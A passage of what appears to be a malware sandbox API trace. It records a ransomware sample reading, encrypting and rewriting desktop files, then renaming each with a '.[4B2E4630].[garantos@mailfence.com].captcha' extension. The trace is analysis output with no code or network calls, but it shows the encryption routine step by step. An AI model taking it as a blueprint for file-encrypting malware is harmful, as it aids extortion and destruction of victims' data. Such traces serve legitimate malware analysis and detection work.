lpNumberOfBytesWritten=0x329fc90*=0x80, lpOverlapped=0x0) returned 1 [0120.135] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb8 | out: lpNewFilePointer=0x0) returned 1 [0120.135] WriteFile (in: hFile=0x124, lpBuffer=0x329fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fca8*, lpNumberOfBytesWritten=0x329fc90*=0x8, lpOverlapped=0x0) returned 1 [0120.135] CryptImportKey (in: hProv=0x534c08, pbData=0x545038, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.135] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.135] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.135] ReadFile (in: hFile=0x124, lpBuffer=0x3090020, nNumberOfBytesToRead=0x9526, lpNumberOfBytesRead=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesRead=0x329fc9c*=0x9526, lpOverlapped=0x0) returned 1 [0120.135] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3090020*, pdwDataLen=0x329fc78*=0x9530, dwBufLen=0x9530 | out: pbData=0x3090020*, pdwDataLen=0x329fc78*=0x9530) returned 1 [0120.136] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.136] WriteFile (in: hFile=0x124, lpBuffer=0x3090020*, nNumberOfBytesToWrite=0x9530, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesWritten=0x329fc90*=0x9530, lpOverlapped=0x0) returned 1 [0120.136] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.136] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9604, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.136] SetEndOfFile (hFile=0x124) returned 1 [0120.140] GetProcessHeap () returned 0x520000 [0120.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5354c8 | out: hHeap=0x520000) returned 1 [0120.140] GetProcessHeap () returned 0x520000 [0120.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544120 | out: hHeap=0x520000) returned 1 [0120.140] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j3JyUbK.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j3jyubk.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j3JyUbK.doc.[4B2E4630].[garantos@mailfence.com].captcha" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j3jyubk.doc.[4b2e4630].[garantos@mailfence.com].captcha")) returned 1 [0120.144] CloseHandle (hObject=0x124) returned 1 [0120.144] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.144] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc9a0dd0, ftCreationTime.dwHighDateTime=0x1d5d9d6, ftLastAccessTime.dwLowDateTime=0x93781000, ftLastAccessTime.dwHighDateTime=0x1d5dbf4, ftLastWriteTime.dwLowDateTime=0x93781000, ftLastWriteTime.dwHighDateTime=0x1d5dbf4, nFileSizeHigh=0x0, nFileSizeLow=0x18030, dwReserved0=0x0, dwReserved1=0xffff, cFileName="KBDfGIul9lKj5bzlyj.jpg", cAlternateFileName="KBDFGI~1.JPG")) returned 1 [0120.144] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KBDfGIul9lKj5bzlyj.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kbdfgiul9lkj5bzlyj.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0120.144] GetProcessHeap () returned 0x520000 [0120.144] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x544120 [0120.145] CryptGenRandom (in: hProv=0x534c08, dwLen=0x10, pbBuffer=0x544120 | out: pbBuffer=0x544120) returned 1 [0120.145] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb0 | out: lpNewFilePointer=0x0) returned 1 [0120.145] CryptImportKey (in: hProv=0x534c08, pbData=0x545100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.145] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.145] GetProcessHeap () returned 0x520000 [0120.145] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x545248 [0120.145] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x545248*, pdwDataLen=0x329fc78*=0x50, dwBufLen=0x50 | out: pbData=0x545248*, pdwDataLen=0x329fc78*=0x50) returned 1 [0120.145] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.145] WriteFile (in: hFile=0x124, lpBuffer=0x545248*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x545248*, lpNumberOfBytesWritten=0x329fc90*=0x50, lpOverlapped=0x0) returned 1 [0120.146] WriteFile (in: hFile=0x124, lpBuffer=0x329fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fc98*, lpNumberOfBytesWritten=0x329fc90*=0x4, lpOverlapped=0x0) returned 1 [0120.146] WriteFile (in: hFile=0x124, lpBuffer=0x544120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x544120*, lpNumberOfBytesWritten=0x329fc90*=0x10, lpOverlapped=0x0) returned 1 [0120.146] WriteFile (in: hFile=0x124, lpBuffer=0x5451c0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x5451c0*, lpNumberOfBytesWritten=0x329fc90*=0x80, lpOverlapped=0x0) returned 1 [0120.146] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb8 | out: lpNewFilePointer=0x0) returned 1 [0120.146] WriteFile (in: hFile=0x124, lpBuffer=0x329fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fca8*, lpNumberOfBytesWritten=0x329fc90*=0x8, lpOverlapped=0x0) returned 1 [0120.149] CryptImportKey (in: hProv=0x534c08, pbData=0x545100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.149] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.149] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.149] ReadFile (in: hFile=0x124, lpBuffer=0x3090020, nNumberOfBytesToRead=0x18030, lpNumberOfBytesRead=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesRead=0x329fc9c*=0x18030, lpOverlapped=0x0) returned 1 [0120.150] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3090020*, pdwDataLen=0x329fc78*=0x18030, dwBufLen=0x18030 | out: pbData=0x3090020*, pdwDataLen=0x329fc78*=0x18030) returned 1 [0120.151] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.151] WriteFile (in: hFile=0x124, lpBuffer=0x3090020*, nNumberOfBytesToWrite=0x18030, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesWritten=0x329fc90*=0x18030, lpOverlapped=0x0) returned 1 [0120.152] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.152] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x18114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.152] SetEndOfFile (hFile=0x124) returned 1 [0120.156] GetProcessHeap () returned 0x520000 [0120.156] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545248 | out: hHeap=0x520000) returned 1 [0120.156] GetProcessHeap () returned 0x520000 [0120.156] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544120 | out: hHeap=0x520000) returned 1 [0120.156] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KBDfGIul9lKj5bzlyj.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kbdfgiul9lkj5bzlyj.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KBDfGIul9lKj5bzlyj.jpg.[4B2E4630].[garantos@mailfence.com].captcha" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kbdfgiul9lkj5bzlyj.jpg.[4b2e4630].[garantos@mailfence.com].captcha")) returned 1 [0120.176] CloseHandle (hObject=0x124) returned 1 [0120.176] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.176] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa612d830, ftCreationTime.dwHighDateTime=0x1d5d933, ftLastAccessTime.dwLowDateTime=0xf805a3d0, ftLastAccessTime.dwHighDateTime=0x1d5e012, ftLastWriteTime.dwLowDateTime=0xf805a3d0, ftLastWriteTime.dwHighDateTime=0x1d5e012, nFileSizeHigh=0x0, nFileSizeLow=0x13e06, dwReserved0=0x0, dwReserved1=0xffff, cFileName="LtxycJwYc8aiI.xlsx", cAlternateFileName="LTXYCJ~1.XLS")) returned 1 [0120.176] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LtxycJwYc8aiI.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ltxycjwyc8aii.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0120.176] GetProcessHeap () returned 0x520000 [0120.176] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x544120 [0120.177] CryptGenRandom (in: hProv=0x534c08, dwLen=0x10, pbBuffer=0x544120 | out: pbBuffer=0x544120) returned 1 [0120.177] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb0 | out: lpNewFilePointer=0x0) returned 1 [0120.177] WriteFile (in: hFile=0x124, lpBuffer=0x329fcc0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fcc0*, lpNumberOfBytesWritten=0x329fc90*=0xa, lpOverlapped=0x0) returned 1 [0120.178] CryptImportKey (in: hProv=0x534c08, pbData=0x545038, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.178] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.178] GetProcessHeap () returned 0x520000 [0120.178] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5354c8 [0120.178] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x5354c8*, pdwDataLen=0x329fc78*=0x40, dwBufLen=0x40 | out: pbData=0x5354c8*, pdwDataLen=0x329fc78*=0x40) returned 1 [0120.178] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.178] WriteFile (in: hFile=0x124, lpBuffer=0x5354c8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x5354c8*, lpNumberOfBytesWritten=0x329fc90*=0x40, lpOverlapped=0x0) returned 1 [0120.178] WriteFile (in: hFile=0x124, lpBuffer=0x329fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fc98*, lpNumberOfBytesWritten=0x329fc90*=0x4, lpOverlapped=0x0) returned 1 [0120.178] WriteFile (in: hFile=0x124, lpBuffer=0x544120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x544120*, lpNumberOfBytesWritten=0x329fc90*=0x10, lpOverlapped=0x0) returned 1 [0120.179] WriteFile (in: hFile=0x124, lpBuffer=0x545138*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x545138*, lpNumberOfBytesWritten=0x329fc90*=0x80, lpOverlapped=0x0) returned 1 [0120.179] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb8 | out: lpNewFilePointer=0x0) returned 1 [0120.179] WriteFile (in: hFile=0x124, lpBuffer=0x329fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fca8*, lpNumberOfBytesWritten=0x329fc90*=0x8, lpOverlapped=0x0) returned 1 [0120.179] CryptImportKey (in: hProv=0x534c08, pbData=0x545038, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.179] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.179] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.179] ReadFile (in: hFile=0x124, lpBuffer=0x3090020, nNumberOfBytesToRead=0x13e06, lpNumberOfBytesRead=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesRead=0x329fc9c*=0x13e06, lpOverlapped=0x0) returned 1 [0120.180] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3090020*, pdwDataLen=0x329fc78*=0x13e10, dwBufLen=0x13e10 | out: pbData=0x3090020*, pdwDataLen=0x329fc78*=0x13e10) returned 1 [0120.181] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.181] WriteFile (in: hFile=0x124, lpBuffer=0x3090020*, nNumberOfBytesToWrite=0x13e10, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesWritten=0x329fc90*=0x13e10, lpOverlapped=0x0) returned 1 [0120.182] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.182] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x13ee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.182] SetEndOfFile (hFile=0x124) returned 1 [0120.186] GetProcessHeap () returned 0x520000 [0120.186] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5354c8 | out: hHeap=0x520000) returned 1 [0120.186] GetProcessHeap () returned 0x520000 [0120.186] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544120 | out: hHeap=0x520000) returned 1 [0120.186] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LtxycJwYc8aiI.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ltxycjwyc8aii.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LtxycJwYc8aiI.xlsx.[4B2E4630].[garantos@mailfence.com].captcha" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ltxycjwyc8aii.xlsx.[4b2e4630].[garantos@mailfence.com].captcha")) returned 1 [0120.190] CloseHandle (hObject=0x124) returned 1 [0120.190] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.190] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c56ce80, ftCreationTime.dwHighDateTime=0x1d5d7d4, ftLastAccessTime.dwLowDateTime=0x71a0c710, ftLastAccessTime.dwHighDateTime=0x1d5d979, ftLastWriteTime.dwLowDateTime=0x71a0c710, ftLastWriteTime.dwHighDateTime=0x1d5d979, nFileSizeHigh=0x0, nFileSizeLow=0xc7d3, dwReserved0=0x0, dwReserved1=0xffff, cFileName="N3eXTwMrlPimbIDBMcn.mkv", cAlternateFileName="N3EXTW~1.MKV")) returned 1 [0120.190] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57ea4860, ftCreationTime.dwHighDateTime=0x1d5dfa4, ftLastAccessTime.dwLowDateTime=0x3772a6b0, ftLastAccessTime.dwHighDateTime=0x1d5e06f, ftLastWriteTime.dwLowDateTime=0x3772a6b0, ftLastWriteTime.dwHighDateTime=0x1d5e06f, nFileSizeHigh=0x0, nFileSizeLow=0x556c, dwReserved0=0x0, dwReserved1=0xffff, cFileName="NFMf.gif", cAlternateFileName="")) returned 1 [0120.190] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NFMf.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nfmf.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0120.191] GetProcessHeap () returned 0x520000 [0120.191] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x544120 [0120.191] CryptGenRandom (in: hProv=0x534c08, dwLen=0x10, pbBuffer=0x544120 | out: pbBuffer=0x544120) returned 1 [0120.191] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb0 | out: lpNewFilePointer=0x0) returned 1 [0120.191] WriteFile (in: hFile=0x124, lpBuffer=0x329fcc0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fcc0*, lpNumberOfBytesWritten=0x329fc90*=0x4, lpOverlapped=0x0) returned 1 [0120.192] CryptImportKey (in: hProv=0x534c08, pbData=0x545100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.192] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.192] GetProcessHeap () returned 0x520000 [0120.192] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x545248 [0120.192] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x545248*, pdwDataLen=0x329fc78*=0x30, dwBufLen=0x30 | out: pbData=0x545248*, pdwDataLen=0x329fc78*=0x30) returned 1 [0120.192] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.192] WriteFile (in: hFile=0x124, lpBuffer=0x545248*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x545248*, lpNumberOfBytesWritten=0x329fc90*=0x30, lpOverlapped=0x0) returned 1 [0120.193] WriteFile (in: hFile=0x124, lpBuffer=0x329fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fc98*, lpNumberOfBytesWritten=0x329fc90*=0x4, lpOverlapped=0x0) returned 1 [0120.193] WriteFile (in: hFile=0x124, lpBuffer=0x544120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x544120*, lpNumberOfBytesWritten=0x329fc90*=0x10, lpOverlapped=0x0) returned 1 [0120.193] WriteFile (in: hFile=0x124, lpBuffer=0x5451c0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x5451c0*, lpNumberOfBytesWritten=0x329fc90*=0x80, lpOverlapped=0x0) returned 1 [0120.193] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb8 | out: lpNewFilePointer=0x0) returned 1 [0120.193] WriteFile (in: hFile=0x124, lpBuffer=0x329fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fca8*, lpNumberOfBytesWritten=0x329fc90*=0x8, lpOverlapped=0x0) returned 1 [0120.193] CryptImportKey (in: hProv=0x534c08, pbData=0x545100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.193] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.193] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.193] ReadFile (in: hFile=0x124, lpBuffer=0x3090020, nNumberOfBytesToRead=0x556c, lpNumberOfBytesRead=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesRead=0x329fc9c*=0x556c, lpOverlapped=0x0) returned 1 [0120.194] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3090020*, pdwDataLen=0x329fc78*=0x5570, dwBufLen=0x5570 | out: pbData=0x3090020*, pdwDataLen=0x329fc78*=0x5570) returned 1 [0120.194] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.194] WriteFile (in: hFile=0x124, lpBuffer=0x3090020*, nNumberOfBytesToWrite=0x5570, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesWritten=0x329fc90*=0x5570, lpOverlapped=0x0) returned 1 [0120.194] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.194] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x5634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.194] SetEndOfFile (hFile=0x124) returned 1 [0120.198] GetProcessHeap () returned 0x520000 [0120.198] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545248 | out: hHeap=0x520000) returned 1 [0120.198] GetProcessHeap () returned 0x520000 [0120.198] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544120 | out: hHeap=0x520000) returned 1 [0120.198] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NFMf.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nfmf.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NFMf.gif.[4B2E4630].[garantos@mailfence.com].captcha" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nfmf.gif.[4b2e4630].[garantos@mailfence.com].captcha")) returned 1 [0120.205] CloseHandle (hObject=0x124) returned 1 [0120.205] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.205] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc496d1f0, ftCreationTime.dwHighDateTime=0x1d5df94, ftLastAccessTime.dwLowDateTime=0x4c8acf40, ftLastAccessTime.dwHighDateTime=0x1d5de90, ftLastWriteTime.dwLowDateTime=0x4c8acf40, ftLastWriteTime.dwHighDateTime=0x1d5de90, nFileSizeHigh=0x0, nFileSizeLow=0xb12a, dwReserved0=0x0, dwReserved1=0xffff, cFileName="Po53K6XUyzjsd4PBoD_.jpg", cAlternateFileName="PO53K6~1.JPG")) returned 1 [0120.205] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Po53K6XUyzjsd4PBoD_.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\po53k6xuyzjsd4pbod_.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0120.206] GetProcessHeap () returned 0x520000 [0120.206] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x544120 [0120.206] CryptGenRandom (in: hProv=0x534c08, dwLen=0x10, pbBuffer=0x544120 | out: pbBuffer=0x544120) returned 1 [0120.206] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb0 | out: lpNewFilePointer=0x0) returned 1 [0120.206] WriteFile (in: hFile=0x124, lpBuffer=0x329fcc0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fcc0*, lpNumberOfBytesWritten=0x329fc90*=0x6, lpOverlapped=0x0) returned 1 [0120.207] CryptImportKey (in: hProv=0x534c08, pbData=0x545038, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.207] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.207] GetProcessHeap () returned 0x520000 [0120.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x545248 [0120.207] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x545248*, pdwDataLen=0x329fc78*=0x50, dwBufLen=0x50 | out: pbData=0x545248*, pdwDataLen=0x329fc78*=0x50) returned 1 [0120.207] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.207] WriteFile (in: hFile=0x124, lpBuffer=0x545248*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x545248*, lpNumberOfBytesWritten=0x329fc90*=0x50, lpOverlapped=0x0) returned 1 [0120.207] WriteFile (in: hFile=0x124, lpBuffer=0x329fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fc98*, lpNumberOfBytesWritten=0x329fc90*=0x4, lpOverlapped=0x0) returned 1 [0120.208] WriteFile (in: hFile=0x124, lpBuffer=0x544120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x544120*, lpNumberOfBytesWritten=0x329fc90*=0x10, lpOverlapped=0x0) returned 1 [0120.208] WriteFile (in: hFile=0x124, lpBuffer=0x545138*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x545138*, lpNumberOfBytesWritten=0x329fc90*=0x80, lpOverlapped=0x0) returned 1 [0120.208] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb8 | out: lpNewFilePointer=0x0) returned 1 [0120.208] WriteFile (in: hFile=0x124, lpBuffer=0x329fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fca8*, lpNumberOfBytesWritten=0x329fc90*=0x8, lpOverlapped=0x0) returned 1 [0120.208] CryptImportKey (in: hProv=0x534c08, pbData=0x545038, dwDataLen=0x2c, hPubKey=0x0, 